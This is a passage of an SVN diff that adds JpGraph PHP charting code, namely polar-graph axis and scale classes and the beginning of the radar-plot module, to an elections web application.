+	$x0 = round($this->img->left_margin+$this->img->plotwidth/2)+1;
+
+	$d = max($this->img->plotwidth,$this->img->plotheight)*1.42;
+	$a = $this->angle_step;
+	$t = new Text();
+	$t->SetColor($this->angle_fontcolor);
+	$t->SetFont($this->angle_fontfam,$this->angle_fontstyle,$this->angle_fontsize);
+	$xright = $this->img->width - $this->img->right_margin;
+	$ytop = $this->img->top_margin;
+	$xleft = $this->img->left_margin;
+	$ybottom = $this->img->height - $this->img->bottom_margin;
+	$ha = 'left';
+	$va = 'center';
+	$w = $this->img->plotwidth/2;
+	$h = $this->img->plotheight/2;
+	$xt = $x0; $yt = $pos;
+	$margin=5;
+
+	$tl  = $this->angle_tick_len ; // Outer len
+	$tl2 = $this->angle_tick_len2 ; // Interior len
+
+	$this->img->SetColor($this->angle_tick_color);
+	$rot90 = $this->img->a == 90 ;
+
+	if( $type == POLAR_360 ) {
+	    $ca1 = atan($h/$w)/M_PI*180;
+	    $ca2 = 180-$ca1;
+	    $ca3 = $ca1+180;
+	    $ca4 = 360-$ca1;
+	    $end = 360;
+	    while( $a < $end ) {
+		$ca = cos($a/180*M_PI);
+		$sa = sin($a/180*M_PI);
+		$x = $d*$ca;
+		$y = $d*$sa;
+		$xt=1000;$yt=1000;
+		if( $a <= $ca1 || $a >= $ca4 ) {
+		    $yt = $pos - $w * $y/$x;
+		    $xt = $xright + $margin;
+ 		    if( $rot90 ) {
+			$ha = 'center';
+			$va = 'top';
+		    }
+		    else {
+			$ha = 'left';
+			$va = 'center';
+		    }
+		    $x1=$xright-$tl2; $x2=$xright+$tl;
+		    $y1=$y2=$yt;
+		}
+		elseif( $a > $ca1 && $a < $ca2 ) { 
+		    $xt = $x0 + $h * $x/$y;
+		    $yt = $ytop - $margin;
+ 		    if( $rot90 ) {
+			$ha = 'left';
+			$va = 'center';
+		    }
+		    else {
+			$ha = 'center';
+			$va = 'bottom';
+		    }
+		    $y1=$ytop+$tl2;$y2=$ytop-$tl;
+		    $x1=$x2=$xt;
+		}
+		elseif( $a >= $ca2 && $a <= $ca3 ) { 
+		    $yt = $pos + $w * $y/$x;
+		    $xt = $xleft - $margin;
+ 		    if( $rot90 ) {
+			$ha = 'center';
+			$va = 'bottom';
+		    }
+		    else {
+			$ha = 'right';
+			$va = 'center';
+		    }
+		    $x1=$xleft+$tl2;$x2=$xleft-$tl;
+		    $y1=$y2=$yt;
+		}
+		else { 
+		    $xt = $x0 - $h * $x/$y;
+		    $yt = $ybottom + $margin;
+ 		    if( $rot90 ) {
+			$ha = 'right';
+			$va = 'center';
+		    }
+		    else {
+			$ha = 'center';
+			$va = 'top';
+		    }
+		    $y1=$ybottom-$tl2;$y2=$ybottom+$tl;
+		    $x1=$x2=$xt;
+		}
+		if( $a != 0 && $a != 180 ) {
+		    $t->Align($ha,$va);
+		    if( $this->show_angle_mark )
+			$a .= '°';
+		    $t->Set($a);
+		    $t->Stroke($this->img,$xt,$yt);   
+		    if( $this->show_angle_tick )
+			$this->img->Line($x1,$y1,$x2,$y2);
+		}
+		$a += $this->angle_step;
+	    }
+	}
+	else {
+	    // POLAR_HALF
+	    $ca1 = atan($h/$w*2)/M_PI*180;
+	    $ca2 = 180-$ca1;
+	    $end = 180;	    
+	    while( $a < $end ) {
+		$ca = cos($a/180*M_PI);
+		$sa = sin($a/180*M_PI);
+		$x = $d*$ca;
+		$y = $d*$sa;
+		if( $a <= $ca1 ) {
+		    $yt = $pos - $w * $y/$x;
+		    $xt = $xright + $margin;
+ 		    if( $rot90 ) {
+			$ha = 'center';
+			$va = 'top';
+		    }
+		    else {
+			$ha = 'left';
+			$va = 'center';
+		    }
+		    $x1=$xright-$tl2; $x2=$xright+$tl;
+		    $y1=$y2=$yt;
+		}
+		elseif( $a > $ca1 && $a < $ca2 ) { 
+		    $xt = $x0 + 2*$h * $x/$y;
+		    $yt = $ytop - $margin;
+ 		    if( $rot90 ) {
+			$ha = 'left';
+			$va = 'center';
+		    }
+		    else {
+			$ha = 'center';
+			$va = 'bottom';
+		    }
+		    $y1=$ytop+$tl2;$y2=$ytop-$tl;
+		    $x1=$x2=$xt;
+		}
+		elseif( $a >= $ca2 ) { 
+		    $yt = $pos + $w * $y/$x;
+		    $xt = $xleft - $margin;
+ 		    if( $rot90 ) {
+			$ha = 'center';
+			$va = 'bottom';
+		    }
+		    else {
+			$ha = 'right';
+			$va = 'center';
+		    }
+		    $x1=$xleft+$tl2;$x2=$xleft-$tl;
+		    $y1=$y2=$yt;
+		}
+		$t->Align($ha,$va);
+		if( $this->show_angle_mark )
+		    $a .= '°';
+		$t->Set($a);
+		$t->Stroke($this->img,$xt,$yt);  
+		if( $this->show_angle_tick )
+		    $this->img->Line($x1,$y1,$x2,$y2);  
+		$a += $this->angle_step;
+	    }
+	}
+    }
+
+    function Stroke($pos,$dummy=true) {
+
+	$this->img->SetLineWeight($this->weight);
+	$this->img->SetColor($this->color);		
+	$this->img->SetFont($this->font_family,$this->font_style,$this->font_size);
+	if( !$this->hide_line ) 
+	    $this->img->FilledRectangle($this->img->left_margin,$pos,
+		     $this->img->width-$this->img->right_margin,$pos+$this->weight-1);
+	$y=$pos+$this->img->GetFontHeight()+$this->title_margin+$this->title->margin;
+	if( $this->title_adjust=="high" )
+	    $this->title->SetPos($this->img->width-$this->img->right_margin,$y,"right","top");
+	elseif( $this->title_adjust=="middle" || $this->title_adjust=="center" ) 
+	    $this->title->SetPos(($this->img->width-$this->img->left_margin-
+			       $this->img->right_margin)/2+$this->img->left_margin,
+			      $y,"center","top");
+	elseif($this->title_adjust=="low")
+	    $this->title->SetPos($this->img->left_margin,$y,"left","top");
+	else {	
+	    JpGraphError::RaiseL(17002,$this->title_adjust);
+//('Unknown alignment specified for X-axis title. ('.$this->title_adjust.')');
+	}
+
+	
+	if (!$this->hide_labels) {
+	    $this->StrokeLabels($pos,false);
+	}
+	$this->img->SetColor($this->radius_tick_color);
+	$this->scale->ticks->Stroke($this->img,$this->scale,$pos);
+
+	//
+	// Mirror the positions for the left side of the scale
+        //
+	$mid = 2*($this->img->left_margin+$this->img->plotwidth/2);
+	$n = count($this->scale->ticks->ticks_pos);
+	$i=0;
+	while( $i < $n ) {
+	    $this->scale->ticks->ticks_pos[$i] = 
+		$mid-$this->scale->ticks->ticks_pos[$i] ;
+	    ++$i;
+	}
+
+	$n = count($this->scale->ticks->maj_ticks_pos);
+	$i=0;
+	while( $i < $n ) {
+	    $this->scale->ticks->maj_ticks_pos[$i] = 
+		$mid-$this->scale->ticks->maj_ticks_pos[$i] ;
+	    ++$i;
+	}
+	
+	$n = count($this->scale->ticks->maj_ticklabels_pos);
+	$i=1;
+	while( $i < $n ) {
+	    $this->scale->ticks->maj_ticklabels_pos[$i] =
+		$mid-$this->scale->ticks->maj_ticklabels_pos[$i] ;
+	    ++$i;
+	}
+
+	// Draw the left side of the scale
+	$n = count($this->scale->ticks->ticks_pos);
+	$yu = $pos - $this->scale->ticks->direction*$this->scale->ticks->GetMinTickAbsSize();
+
+
+	// Minor ticks
+	if( ! $this->scale->ticks->supress_minor_tickmarks ) {
+	    $i=1;
+	    while( $i < $n/2 ) {
+		$x = round($this->scale->ticks->ticks_pos[$i]) ;
+		$this->img->Line($x,$pos,$x,$yu);
+		++$i;
+	    }
+	}
+
+	$n = count($this->scale->ticks->maj_ticks_pos);
+	$yu = $pos - $this->scale->ticks->direction*$this->scale->ticks->GetMajTickAbsSize();
+
+
+	// Major ticks
+	if( ! $this->scale->ticks->supress_tickmarks ) {
+	    $i=1;
+	    while( $i < $n/2 ) {
+		$x = round($this->scale->ticks->maj_ticks_pos[$i]) ;
+		$this->img->Line($x,$pos,$x,$yu);
+		++$i;
+	    }
+	}
+	if (!$this->hide_labels) {
+	    $this->StrokeLabels($pos,false);
+	}
+	$this->title->Stroke($this->img);	
+    }
+}
+
+class PolarScale extends LinearScale {
+    private $graph;
+
+    function PolarScale($aMax=0,$graph) {
+	parent::LinearScale(0,$aMax,'x');
+	$this->graph = $graph;
+    }
+
+    function _Translate($v) {
+	return parent::Translate($v);
+    }
+
+    function PTranslate($aAngle,$aRad) {
+	
+	$m = $this->scale[1];
+	$w = $this->graph->img->plotwidth/2;
+	$aRad = $aRad/$m*$w;
+
+	$x = cos( $aAngle/180 * M_PI ) * $aRad;
+	$y = sin( $aAngle/180 * M_PI ) * $aRad;
+
+	$x += $this->_Translate(0);
+
+	if( $this->graph->iType == POLAR_360 ) {
+	    $y = ($this->graph->img->top_margin + $this->graph->img->plotheight/2) - $y;
+	}
+	else {
+	    $y = ($this->graph->img->top_margin + $this->graph->img->plotheight) - $y;
+	}
+	return array($x,$y);
+    }
+}
+
+class PolarLogScale extends LogScale {
+    private $graph;
+    function PolarLogScale($aMax=1,$graph) {
+	parent::LogScale(0,$aMax,'x');
+	$this->graph = $graph;
+	$this->ticks->SetLabelLogType(LOGLABELS_MAGNITUDE);
+
+    }
+
+    function PTranslate($aAngle,$aRad) {
+
+	if( $aRad == 0 ) 
+	    $aRad = 1;
+	$aRad = log10($aRad);
+	$m = $this->scale[1];
+	$w = $this->graph->img->plotwidth/2;
+	$aRad = $aRad/$m*$w;
+
+	$x = cos( $aAngle/180 * M_PI ) * $aRad;
+	$y = sin( $aAngle/180 * M_PI ) * $aRad;
+
+	$x += $w+$this->graph->img->left_margin;//$this->_Translate(0);
+	if( $this->graph->iType == POLAR_360 ) {
+	    $y = ($this->graph->img->top_margin + $this->graph->img->plotheight/2) - $y;
+	}
+	else {
+	    $y = ($this->graph->img->top_margin + $this->graph->img->plotheight) - $y;
+	}
+	return array($x,$y);
+    }
+}
+
+class PolarGraph extends Graph {
+    public $scale;
+    public $axis;
+    public $iType=POLAR_360;
+    
+    function PolarGraph($aWidth=300,$aHeight=200,$aCachedName="",$aTimeOut=0,$aInline=true) {
+	parent::Graph($aWidth,$aHeight,$aCachedName,$aTimeOut,$aInline) ;
+	$this->SetDensity(TICKD_DENSE);
+	$this->SetBox();
+	$this->SetMarginColor('white');
+    }
+
+    function SetDensity($aDense) {
+	$this->SetTickDensity(TICKD_NORMAL,$aDense);
+    }
+
+    function Set90AndMargin($lm=0,$rm=0,$tm=0,$bm=0) {
+	$adj = ($this->img->height - $this->img->width)/2;
+	$this->SetAngle(90);
+	$this->img->SetMargin($lm-$adj,$rm-$adj,$tm+$adj,$bm+$adj);
+	$this->img->SetCenter(floor($this->img->width/2),floor($this->img->height/2));
+	$this->axis->SetLabelAlign('right','center');
+	//JpGraphError::Raise('Set90AndMargin() is not supported for polar graphs.');
+    }
+
+    function SetScale($aScale,$rmax=0,$dummy1=1,$dummy2=1,$dummy3=1) {
+	if( $aScale == 'lin' ) 
+	    $this->scale = new PolarScale($rmax,$this);
+	elseif( $aScale == 'log' ) {
+	    $this->scale = new PolarLogScale($rmax,$this);
+	}
+	else {
+	    JpGraphError::RaiseL(17004);//('Unknown scale type for polar graph. Must be "lin" or "log"');
+	}
+
+	$this->axis = new PolarAxis($this->img,$this->scale);
+	$this->SetMargin(40,40,50,40);
+    }
+
+    function SetType($aType) {
+	$this->iType = $aType;
+    }
+
+    function SetPlotSize($w,$h) {
+	$this->SetMargin(($this->img->width-$w)/2,($this->img->width-$w)/2,
+			 ($this->img->height-$h)/2,($this->img->height-$h)/2);
+    }
+
+    // Private methods
+    function GetPlotsMax() {
+	$n = count($this->plots);
+	$m = $this->plots[0]->Max();
+	$i=1;
+	while($i < $n) {
+	    $m = max($this->plots[$i]->Max(),$m);
+	    ++$i;
+	}
+	return $m;
+    }
+
+    function Stroke($aStrokeFileName="") {
+
+	// Start by adjusting the margin so that potential titles will fit.
+	$this->AdjustMarginsForTitles();
+	    
+	// If the filename is the predefined value = '_csim_special_'
+	// we assume that the call to stroke only needs to do enough
+	// to correctly generate the CSIM maps.
+	// We use this variable to skip things we don't strictly need
+	// to do to generate the image map to improve performance
+	// a best we can. Therefor you will see a lot of tests !$_csim in the
+	// code below.
+	$_csim = ($aStrokeFileName===_CSIM_SPECIALFILE);
+
+	// We need to know if we have stroked the plot in the
+	// GetCSIMareas. Otherwise the CSIM hasn't been generated
+	// and in the case of GetCSIM called before stroke to generate
+	// CSIM without storing an image to disk GetCSIM must call Stroke.
+	$this->iHasStroked = true;
+
+	//Check if we should autoscale axis
+	if( !$this->scale->IsSpecified() && count($this->plots)>0 ) {
+	    $max = $this->GetPlotsMax();
+	    $t1 = $this->img->plotwidth;
+	    $this->img->plotwidth /= 2;
+	    $t2 = $this->img->left_margin;
+	    $this->img->left_margin += $this->img->plotwidth+1;
+	    $this->scale->AutoScale($this->img,0,$max,
+				     $this->img->plotwidth/$this->xtick_factor/2);
+	    $this->img->plotwidth = $t1;
+	    $this->img->left_margin = $t2;
+	}
+	else {
+	    // The tick calculation will use the user suplied min/max values to determine
+	    // the ticks. If auto_ticks is false the exact user specifed min and max
+	    // values will be used for the scale. 
+	    // If auto_ticks is true then the scale might be slightly adjusted
+	    // so that the min and max values falls on an even major step.
+	    //$min = 0;
+	    $max = $this->scale->scale[1];
+	    $t1 = $this->img->plotwidth;
+	    $this->img->plotwidth /= 2;
+	    $t2 = $this->img->left_margin;
+	    $this->img->left_margin += $this->img->plotwidth+1;
+	    $this->scale->AutoScale($this->img,0,$max,
+				     $this->img->plotwidth/$this->xtick_factor/2);
+	    $this->img->plotwidth = $t1;
+	    $this->img->left_margin = $t2;
+	}
+
+	if( $this->iType ==  POLAR_180 ) 
+	    $pos = $this->img->height - $this->img->bottom_margin;
+	else
+	    $pos = $this->img->plotheight/2 + $this->img->top_margin;
+
+
+	if( !$_csim ) {
+	    $this->StrokePlotArea();
+	}
+
+	$this->iDoClipping = true;
+
+	if( $this->iDoClipping ) {
+	    $oldimage = $this->img->CloneCanvasH();
+	}
+
+	if( !$_csim ) {
+	    $this->axis->StrokeGrid($pos);
+	}
+
+	// Stroke all plots for Y1 axis
+	for($i=0; $i < count($this->plots); ++$i) {
+	    $this->plots[$i]->Stroke($this->img,$this->scale);
+	}						
+
+
+	if( $this->iDoClipping ) {
+	    // Clipping only supports graphs at 0 and 90 degrees
+	    if( $this->img->a == 0  ) {
+		$this->img->CopyCanvasH($oldimage,$this->img->img,
+					$this->img->left_margin,$this->img->top_margin,
+					$this->img->left_margin,$this->img->top_margin,
+					$this->img->plotwidth+1,$this->img->plotheight+1);
+	    }
+	    elseif( $this->img->a == 90 ) {
+		$adj = round(($this->img->height - $this->img->width)/2);
+		$this->img->CopyCanvasH($oldimage,$this->img->img,
+					$this->img->bottom_margin-$adj,$this->img->left_margin+$adj,
+					$this->img->bottom_margin-$adj,$this->img->left_margin+$adj,
+					$this->img->plotheight,$this->img->plotwidth);
+	    }
+	    $this->img->Destroy();
+	    $this->img->SetCanvasH($oldimage);
+	}
+
+	if( !$_csim ) {
+	    $this->axis->Stroke($pos);
+	    $this->axis->StrokeAngleLabels($pos,$this->iType);
+	}
+
+	if( !$_csim ) {
+	    $this->StrokePlotBox();
+	    $this->footer->Stroke($this->img);
+
+	    // The titles and legends never gets rotated so make sure
+	    // that the angle is 0 before stroking them				
+	    $aa = $this->img->SetAngle(0);
+	    $this->StrokeTitles();
+	}
+
+	for($i=0; $i < count($this->plots) ; ++$i ) {
+	    $this->plots[$i]->Legend($this);
+	}
+
+	$this->legend->Stroke($this->img);		
+
+	if( !$_csim ) {
+
+	    $this->StrokeTexts();	
+	    $this->img->SetAngle($aa);	
+			
+	    // Draw an outline around the image map	
+	    if(_JPG_DEBUG)
+		$this->DisplayClientSideaImageMapAreas();		
+	    
+	    // If the filename is given as the special "__handle"
+	    // then the image handler is returned and the image is NOT
+	    // streamed back
+	    if( $aStrokeFileName == _IMG_HANDLER ) {
+		return $this->img->img;
+	    }
+	    else {
+		// Finally stream the generated picture					
+		$this->cache->PutAndStream($this->img,$this->cache_name,$this->inline,
+					   $aStrokeFileName);		
+	    }
+	}
+    }
+}
+
+
+
+?>
Index: /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_radar.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_radar.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_radar.php	(revision 44)
@@ -0,0 +1,739 @@
+<?php
+/*=======================================================================
+// File:	JPGRAPH_RADAR.PHP
+// Description: Radar plot extension for JpGraph
+// Created: 	2001-02-04
+// Ver:		$Id: jpgraph_radar.php 1044 2008-07-31 18:34:55Z ljp $
+//
+// Copyright (c) Aditus Consulting. All rights reserved.
+//========================================================================
+*/
+
+require_once('jpgraph_plotmark.inc.php');
+
+class RadarLogTicks extends Ticks {
+//---------------
+// CONSTRUCTOR
+    function RadarLogTicks() {
+    }
+//---------------
+// PUBLIC METHODS	
+
+    // TODO: Add Argument grid
+    function Stroke($aImg,&$grid,$aPos,$aAxisAngle,$aScale,&$aMajPos,&$aMajLabel) {
+	$start = $aScale->GetMinVal();
+	$limit = $aScale->GetMaxVal();
+	$nextMajor = 10*$start;
+	$step = $nextMajor / 10.0;
+	$count=1; 
+				
+	$ticklen_maj=5;
+	$dx_maj=round(sin($aAxisAngle)*$ticklen_maj);
+	$dy_maj=round(cos($aAxisAngle)*$ticklen_maj);
+	$ticklen_min=3;
+	$dx_min=round(sin($aAxisAngle)*$ticklen_min);
+	$dy_min=round(cos($aAxisAngle)*$ticklen_min);
+			
+	$aMajPos=array();
+	$aMajLabel=array();
+			
+	if( $this->supress_first )
+	    $aMajLabel[]="";
+	else
+	    $aMajLabel[]=$start;	
+	$yr=$aScale->RelTranslate($start);	
+	$xt=round($yr*cos($aAxisAngle))+$aScale->scale_abs[0];
+	$yt=$aPos-round($yr*sin($aAxisAngle));
+	$aMajPos[]=$xt+2*$dx_maj;
+	$aMajPos[]=$yt-$aImg->GetFontheight()/2;
+	$grid[]=$xt;
+	$grid[]=$yt;
+
+	$aImg->SetLineWeight($this->weight);			
+		
+	for($y=$start; $y<=$limit; $y+=$step,++$count  ) {
+	    $yr=$aScale->RelTranslate($y);	
+	    $xt=round($yr*cos($aAxisAngle))+$aScale->scale_abs[0];
+	    $yt=$aPos-round($yr*sin($aAxisAngle));
+	    if( $count % 10 == 0 ) {
+		$grid[]=$xt;
+		$grid[]=$yt;
+		$aMajPos[]=$xt+2*$dx_maj;
+		$aMajPos[]=$yt-$aImg->GetFontheight()/2;							
+		if( !$this->supress_tickmarks )	{		
+		    if( $this->majcolor!="" ) $aImg->PushColor($this->majcolor);
+		    $aImg->Line($xt+$dx_maj,$yt+$dy_maj,$xt-$dx_maj,$yt-$dy_maj);
+		    if( $this->majcolor!="" ) $aImg->PopColor();
+		}
+		if( $this->label_formfunc != "" ) {
+		    $f=$this->label_formfunc;
+		    $l = call_user_func($f,$nextMajor);
+		}
+		else
+		    $l = $nextMajor;
+
+		$aMajLabel[]=$l;	
+		$nextMajor *= 10;
+		$step *= 10;	
+		$count=1; 				
+	    }
+	    else
+		if( !$this->supress_minor_tickmarks )	{
+		    if( $this->mincolor!="" ) $aImg->PushColor($this->mincolor);
+		    $aImg->Line($xt+$dx_min,$yt+$dy_min,$xt-$dx_min,$yt-$dy_min);
+		    if( $this->mincolor!="" ) $aImg->PopColor();
+		}
+	}		
+    }		
+}
+	
+class RadarLinearTicks extends Ticks { 
+
+    private $minor_step=1, $major_step=2;
+    private $xlabel_offset=0,$xtick_offset=0;
+
+//---------------
+// CONSTRUCTOR
+    function RadarLinearTicks() {
+	// Empty
+    }
+
+//---------------
+// PUBLIC METHODS	
+
+	
+    // Return major step size in world coordinates
+    function GetMajor() {
+	return $this->major_step;
+    }
+	
+    // Return minor step size in world coordinates
+    function GetMinor() {
+	return $this->minor_step;
+    }
+	
+    // Set Minor and Major ticks (in world coordinates)
+    function Set($aMajStep,$aMinStep=false) {
+	if( $aMinStep==false ) 
+	    $aMinStep=$aMajStep;
+    	
+	if( $aMajStep <= 0 || $aMinStep <= 0 ) {
+	    JpGraphError::Raise(" Minor or major step size is 0. Check that you haven't
+				got an accidental SetTextTicks(0) in your code.<p>
+				If this is not the case you might have stumbled upon a bug in JpGraph.
+				Please report this and if possible include the data that caused the
+				problem.");
+	}
+		
+	$this->major_step=$aMajStep;
+	$this->minor_step=$aMinStep;
+	$this->is_set = true;
+    }
+
+    function Stroke($aImg,&$grid,$aPos,$aAxisAngle,$aScale,&$aMajPos,&$aMajLabel) {
+	// Prepare to draw linear ticks
+	$maj_step_abs = abs($aScale->scale_factor*$this->major_step);	
+	$min_step_abs = abs($aScale->scale_factor*$this->minor_step);	
+	$nbrmaj = floor(($aScale->world_abs_size)/$maj_step_abs);
+	$nbrmin = floor(($aScale->world_abs_size)/$min_step_abs);
+	$skip = round($nbrmin/$nbrmaj); // Don't draw minor ontop of major
+
+	// Draw major ticks
+	$ticklen2=$this->major_abs_size;
+	$dx=round(sin($aAxisAngle)*$ticklen2);
+	$dy=round(cos($aAxisAngle)*$ticklen2);
+	$label=$aScale->scale[0]+$this->major_step;
+		
+	$aImg->SetLineWeight($this->weight);
+	// NEW
+	$aMajPos = array();	
+	$aMajLabel = array();	
+	for($i=1; $i<=$nbrmaj; ++$i) {
+	    $xt=round($i*$maj_step_abs*cos($aAxisAngle))+$aScale->scale_abs[0];
+	    $yt=$aPos-round($i*$maj_step_abs*sin($aAxisAngle));
+
+	    if( $this->label_formfunc != "" ) {
+		$f=$this->label_formfunc;
+		$l = call_user_func($f,$label);
+	    }
+	    else
+		$l = $label;
+
+	    $aMajLabel[]=$l;
+	    $label += $this->major_step;
+	    $grid[]=$xt;
+	    $grid[]=$yt;
+	    $aMajPos[($i-1)*2]=$xt+2*$dx;
+	    $aMajPos[($i-1)*2+1]=$yt-$aImg->GetFontheight()/2;				
+	    if( !$this->supress_tickmarks ) {
+		if( $this->majcolor!="" ) $aImg->PushColor($this->majcolor);
+		$aImg->Line($xt+$dx,$yt+$dy,$xt-$dx,$yt-$dy);
+		if( $this->majcolor!="" ) $aImg->PopColor();
+	    }
+	}
+
+	// Draw minor ticks
+	$ticklen2=$this->minor_abs_size;
+	$dx=round(sin($aAxisAngle)*$ticklen2);
+	$dy=round(cos($aAxisAngle)*$ticklen2);
+	if( !$this->supress_tickmarks && !$this->supress_minor_tickmarks)	{
+	    if( $this->mincolor!="" ) $aImg->PushColor($this->mincolor);						
+	    for($i=1; $i<=$nbrmin; ++$i) {
+		if( ($i % $skip) == 0 ) continue;
+		$xt=round($i*$min_step_abs*cos($aAxisAngle))+$aScale->scale_abs[0];
+		$yt=$aPos-round($i*$min_step_abs*sin($aAxisAngle));
+		$aImg->Line($xt+$dx,$yt+$dy,$xt-$dx,$yt-$dy);
+	    }
+	    if( $this->mincolor!="" ) $aImg->PopColor();
+	}
+    }
+}
+
+	
+
+//===================================================
+// CLASS RadarAxis
+// Description: Implements axis for the radar graph
+//===================================================
+class RadarAxis extends AxisPrototype {
+    public $title=null;
+    private $title_color="navy";
+    private $len=0;
+//---------------
+// CONSTRUCTOR
+    function RadarAxis($img,$aScale,$color=array(0,0,0)) {
+	parent::Axis($img,$aScale,$color);
+	$this->len=$img->plotheight;
+	$this->title = new Text();
+	$this->title->SetFont(FF_FONT1,FS_BOLD);
+	$this->color = array(0,0,0);
+    }
+//---------------
+// PUBLIC METHODS	
+    function SetTickLabels($aLabelArray,$aLabelColorArray=null) {
+	$this->ticks_label = $aLabelArray;
+	$this->ticks_label_colors = $aLabelColorArray;
+    }
+	
+	
+    // Stroke the axis 
+    // $pos 			= Vertical position of axis
+    // $aAxisAngle = Axis angle
+    // $grid			= Returns an array with positions used to draw the grid
+    //	$lf			= Label flag, TRUE if the axis should have labels
+    function Stroke($pos,$aAxisAngle,&$grid,$title,$lf) {
+	$this->img->SetColor($this->color);
+		
+	// Determine end points for the axis
+	$x=round($this->scale->world_abs_size*cos($aAxisAngle)+$this->scale->scale_abs[0]);
+	$y=round($pos-$this->scale->world_abs_size*sin($aAxisAngle));
+		
+	// Draw axis
+	$this->img->SetColor($this->color);
+	$this->img->SetLineWeight($this->weight);
+	if( !$this->hide )
+	    $this->img->Line($this->scale->scale_abs[0],$pos,$x,$y);
+	
+	$this->scale->ticks->Stroke($this->img,$grid,$pos,$aAxisAngle,$this->scale,$majpos,$majlabel);
+	$ncolor=0;
+	if( isset($this->ticks_label_colors) )
+	    $ncolor=count($this->ticks_label_colors);
+		
+	// Draw labels
+	if( $lf && !$this->hide ) {
+	    $this->img->SetFont($this->font_family,$this->font_style,$this->font_size);	
+	    $this->img->SetTextAlign("left","top");
+	    $this->img->SetColor($this->label_color);
+			
+	    // majpos contains (x,y) coordinates for labels
+	    if( ! $this->hide_labels ) {
+ 		$n = floor(count($majpos)/2);
+ 		for($i=0; $i < $n; ++$i) {
+		    // Set specific label color if specified
+		    if( $ncolor > 0 )
+			$this->img->SetColor($this->ticks_label_colors[$i % $ncolor]);
+		    
+		    if( $this->ticks_label != null && isset($this->ticks_label[$i]) )
+			$this->img->StrokeText($majpos[$i*2],$majpos[$i*2+1],$this->ticks_label[$i]);
+		    else
+			$this->img->StrokeText($majpos[$i*2],$majpos[$i*2+1],$majlabel[$i]);
+		}
+	    }
+	}
+	$this->_StrokeAxisTitle($pos,$aAxisAngle,$title);
+    }
+//---------------
+// PRIVATE METHODS	
+	
+    function _StrokeAxisTitle($pos,$aAxisAngle,$title) {
+	$this->title->Set($title);
+	$marg=6+$this->title->margin;
+	$xt=round(($this->scale->world_abs_size+$marg)*cos($aAxisAngle)+$this->scale->scale_abs[0]);
+	$yt=round($pos-($this->scale->world_abs_size+$marg)*sin($aAxisAngle));
+
+	// Position the axis title. 
+	// dx, dy is the offset from the top left corner of the bounding box that sorrounds the text
+	// that intersects with the extension of the corresponding axis. The code looks a little
+	// bit messy but this is really the only way of having a reasonable position of the
+	// axis titles.
+	if( $this->title->iWordwrap > 0 ) {
+	    $title = wordwrap($title,$this->title->iWordwrap,"\n");
+	}
+
+	$h=$this->img->GetTextHeight($title)*1.2;
+	$w=$this->img->GetTextWidth($title)*1.2;
+
+	while( $aAxisAngle > 2*M_PI ) $aAxisAngle -= 2*M_PI;
+	
+	// Around 3 a'clock
+	if( $aAxisAngle>=7*M_PI/4 || $aAxisAngle <= M_PI/4 ) $dx=-0.15; // Small trimming to make the dist to the axis more even
+	// Around 12 a'clock
+	if( $aAxisAngle>=M_PI/4 && $aAxisAngle <= 3*M_PI/4 ) $dx=($aAxisAngle-M_PI/4)*2/M_PI; 
+	// Around 9 a'clock
+	if( $aAxisAngle>=3*M_PI/4 && $aAxisAngle <= 5*M_PI/4 ) $dx=1;
+	// Around 6 a'clock
+	if( $aAxisAngle>=5*M_PI/4 && $aAxisAngle <= 7*M_PI/4 ) $dx=(1-($aAxisAngle-M_PI*5/4)*2/M_PI);
+		
+	if( $aAxisAngle>=7*M_PI/4 ) $dy=(($aAxisAngle-M_PI)-3*M_PI/4)*2/M_PI;
+	if( $aAxisAngle<=M_PI/12 ) $dy=(0.5-$aAxisAngle*2/M_PI);
+	if( $aAxisAngle<=M_PI/4 && $aAxisAngle > M_PI/12) $dy=(1-$aAxisAngle*2/M_PI);
+	if( $aAxisAngle>=M_PI/4 && $aAxisAngle <= 3*M_PI/4 ) $dy=1;
+	if( $aAxisAngle>=3*M_PI/4 && $aAxisAngle <= 5*M_PI/4 ) $dy=(1-($aAxisAngle-3*M_PI/4)*2/M_PI);
+	if( $aAxisAngle>=5*M_PI/4 && $aAxisAngle <= 7*M_PI/4 ) $dy=0;
+		
+	if( !$this->hide ) {
+	    $this->title->Stroke($this->img,$xt-$dx*$w,$yt-$dy*$h,$title);
+	}
+    }
+		
+	
+} // Class
+
+
+//===================================================
+// CLASS RadarGrid
+// Description: Draws grid for the radar graph
+//===================================================
+class RadarGrid { //extends Grid {
+    private $type='solid';
+    private $grid_color='#DDDDDD';
+    private $show=false, $weight=1;
+
+//------------
+// CONSTRUCTOR
+    function RadarGrid() {
+    }
+
+// PUBLIC METHODS
+    function SetColor($aMajColor) {
+	$this->grid_color = $aMajColor;
+    }
+	
+    function SetWeight($aWeight) {
+	$this->weight=$aWeight;
+    }
+	
+    // Specify if grid should be dashed, dotted or solid
+    function SetLineStyle($aType) {
+	$this->type = $aType;
+    }
+	
+    // Decide if both major and minor grid should be displayed
+    function Show($aShowMajor=true) {
+	$this->show=$aShowMajor;
+    }
+    
+//----------------
+// PRIVATE METHODS	
+    function Stroke($img,$grid) {
+	if( !$this->show ) return;
+	$nbrticks = count($grid[0])/2;
+	$nbrpnts = count($grid);
+	$img->SetColor($this->grid_color);
+	$img->SetLineWeight($this->weight);
+	for($i=0; $i<$nbrticks; ++$i) {
+	    for($j=0; $j<$nbrpnts; ++$j) {
+		$pnts[$j*2]=$grid[$j][$i*2];
+		$pnts[$j*2+1]=$grid[$j][$i*2+1];
+	    }
+	    for($k=0; $k<$nbrpnts; ++$k ){
+		$l=($k+1)%$nbrpnts;
+		if( $this->type == "solid" )
+		    $img->Line($pnts[$k*2],$pnts[$k*2+1],$pnts[$l*2],$pnts[$l*2+1]);
+		elseif( $this->type == "dotted" )
+		    $img->DashedLine($pnts[$k*2],$pnts[$k*2+1],$pnts[$l*2],$pnts[$l*2+1],1,6);
+		elseif( $this->type == "dashed" )
+		    $img->DashedLine($pnts[$k*2],$pnts[$k*2+1],$pnts[$l*2],$pnts[$l*2+1],2,4);
+		elseif( $this->type == "longdashed" )
+		    $img->DashedLine($pnts[$k*2],$pnts[$k*2+1],$pnts[$l*2],$pnts[$l*2+1],8,6);
+	    }
+	    $pnts=array();
+	}
+    }
+} // Class
+
+
+//===================================================
+// CLASS RadarPlot
+// Description: Plot a radarplot
+//===================================================
+class RadarPlot {
+    public $mark=null;
+    public $legend="";
+    private $data=array();
